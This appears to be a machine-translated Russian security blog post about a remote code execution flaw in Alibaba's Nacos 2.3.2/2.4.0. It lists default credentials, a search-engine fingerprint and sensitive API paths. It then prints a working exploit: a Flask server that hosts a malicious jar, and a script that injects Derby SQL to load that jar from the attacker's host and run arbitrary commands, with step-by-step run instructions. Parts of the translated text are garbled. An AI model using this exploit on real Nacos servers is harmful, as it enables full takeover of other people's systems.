Предисловие
Отказ от ответственности: Пожалуйста, не используйте соответствующие технологии, описанные в этой статье, для участия в незаконном тестировании. Любые прямые или косвенные последствия и убытки, вызванные распространением и использованием информации или инструментов, представленных в этой статье, будут нести ответственность за все. возникшие последствия Неблагоприятные последствия не имеют никакого отношения к автору статьи. Эта статья предназначена только для образовательных целей.
NACOS — это платформа обнаружения, управления конфигурациями и услугами с открытым исходным кодом. Это продукт Alibaba с открытым исходным кодом.
Версия изображения: версия nacos2.3.2 или 2.4.0.
отпечаток пальца:fofa:app="NACOS"
Основная информация о тестировании Nacos | иллюстрировать |
---|---|
Имя учетной записи и пароль по умолчанию | nacos/nacos |
Общие порты | 8848 |
API информации о пользователе | /nacos/v1/auth/users?pageNo=1&pageSize=9 |
API информации о кластере | /nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword= |
API информации о конфигурации | dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username= |
Из официального вводного документа Github мы видим, что многие крупные отечественные компании используют эту систему, а из проблем мы также видим, что она имеет множество уязвимостей CVE и ее относительно сложно использовать.
Историческая уязвимость CVE системы Nacos
1、CVE-2021-29441 Обход аутентификации
2. Ключ по умолчанию QVD-2023-6271.
3、CNVD-2020-67618 SQL-инъекция
4. Десериализация CNVD-2023-45001
Адрес загрузки: https://github.com/alibaba/nacos/releases.
1. Разархивируйте файл nacos.
2. Создайте базу данных Nacos.
Выполните файл mysql-schema.sql.
3. Настройте источник данных nacos/conf/application.properties.
4. Настройте файл start.cmd.
5. Запустите Накос
Откройте cmd в каталоге bin.,входитьstartup.cmd -m standaloneзапускать
Посетите http://localhost:8848/nacos.
Описание уязвимости
Уязвимость RCE (удаленное выполнение кода) относится к уязвимости безопасности, которая позволяет злоумышленнику выполнить произвольный код на удаленном сервере. Такие уязвимости часто позволяют злоумышленнику получить полный контроль над уязвимой системой, что приводит к серьезным проблемам с безопасностью.
Суть уязвимости заключается в том, что некоторые интерфейсы Nacos не имеют строгого контроля разрешений. Злоумышленник может отправлять вредоносные данные на сервер Nacos посредством специально созданных запросов на выполнение произвольного кода. Необходимость входа в серверную часть для использования уязвимости связана с ошибкой в обработке десериализованных данных Nacos. Злоумышленник может удаленно выполнить вредоносный код через определенную структуру данных JSON. Эту уязвимость можно использовать для чтения конфиденциальных файлов и выполнения системных команд.
poc
Удалено на Github
Анализ кода ---service.py
Приложение Flask предоставляет простой сервис загрузки файлов. Когда пользователь обращается к маршруту /download, сервер возвращает декодированный двоичный файл. Этот файл изначально сохраняется в переменной полезной нагрузки в кодировке Base64. Информация о хосте и порте приложения считывается из модуля config.py.
#Определяем маршрут /download, вызывается, когда пользователь обращается к этому URL-адресу download_file Функция, запрашивающая загрузку интерфейса, вернет содержимое jar
@app.route('/download')
def download_file():
Полезная нагрузка в кодировке #Base64 Декодируется в двоичные данные.
data = base64.b64decode(payload)
#Создайте объект ответа HTTP, содержащий декодированные данные, и Установите тип MIME на application/octet-stream (для двоичных файлов).
response = Response(data, mimetype="application/octet-stream")
#Вы можете установить заголовок ответа, чтобы указать браузеру загрузить контент в виде вложения и указать имя файла (закомментировано здесь).
# response.headers["Content-Disposition"] = "attachment; filename=file.bin"
#Вернем объект ответа.
return response
**Анализ кода ---exploit.py **
Exploit.py подключится к Nacos, а затем в параметры запроса к Nacos вводятся IP-адрес и порт подключения к service.py, а также инструкции, требующие RCE. После того, как запрос достигает nacos, уязвимость базы данных deby используется для злонамеренного запроса интерфейса сервиса service.py и загрузки содержимого jar-пакета. Затем введите команду RCE в пакет jar и запустите эту команду.
# Нажмите зеленую кнопку в области сшивания, чтобы запустить сценарий.
def exploit(target, command, service, args):
#Создаем URL-адрес, используемый для отправки запроса
removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
print("Идет столкновение, пожалуйста, подождите терпеливо!!")
#loop----до успешного использования лазейки
for i in range(0, sys.maxsize):
#id: создать случайную строку,для идентификацииSQL-инъекцияизpayload
id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
#post_sql:СтроитьSQL-инъекцияизpayload,установить вредоносныйизJavaфункция
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id, service=service);
#option_sql: создавать операторы SQL и использовать вредоносную функцию для выполнения команд.
option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id, cmd=command);
#get_sql: Создайте SQL-запрос, выполните команду и получите результаты. get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command);
# get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
files = {'file': post_sql}
#requests.post: отправьте POST-запрос и загрузите вредоносный SQL.
#requests.get: отправьте запрос GET, выполните команду и получите результаты.
post_resp = requests.post(url=removal_url, files=files, verify=False, headers=header, timeout=5)
post_json = post_resp.json()
if args.url:
print(post_json)
if (post_json['code'] == 404 or post_json['code'] == 403) and "File" not in post_json['message']:
print(Fore.YELLOW + f"[-] {target} Nacos_Rcelaseyki может не существовать\n" + Fore.RESET)
break
if post_json.get('message', None) is None and post_json.get('data', None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={'sql': get_sql}, verify=False, headers=header,
timeout=5)
print(Fore.RED + f"\n[+] {target} Nacos_Rcelaseyki существует, выполните команду: {command}" + Fore.RESET)
print(Fore.RED + f"[+] Возвращенные результаты следующие: {get_resp.text}" + Fore.RESET)
break
if __name__ == '__main__':
#service: создайте URL-адрес для загрузки вредоносного файла Jar.
service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port)
#target и command:отпользовательвходить Получить цельURLивыполнитьиз Заказ。
target = 'http://127.0.0.1:8848'
command = 'calc'
target = input('Пожалуйста, введите URL-адрес каталога, по умолчанию: http://127.0.0.1:8848:') or target
command = input('Пожалуйста, введите команду, по умолчанию: Calc:') or command
#exploit:вызовлазейкииспользоватьфункция。 exploit(target=target, command=command, service=service)
первый шаг:Установить зависимостиrequestsиflask
Шаг 2:Конфигурацияconfig.pyсерединаизipипорт,Необходимо установить зависимости
Шаг 3. Запустите вредоносный сервер: python. server.py, сожмите указанный выше вредоносный класс через b64 и загрузите его на фаск-сервер в качестве ресурса сервера.
Шаг 4. Запустите файл эксплойта.py.,Введите команду для выполнения. Calc выполняется по умолчанию.
После включения аутентификации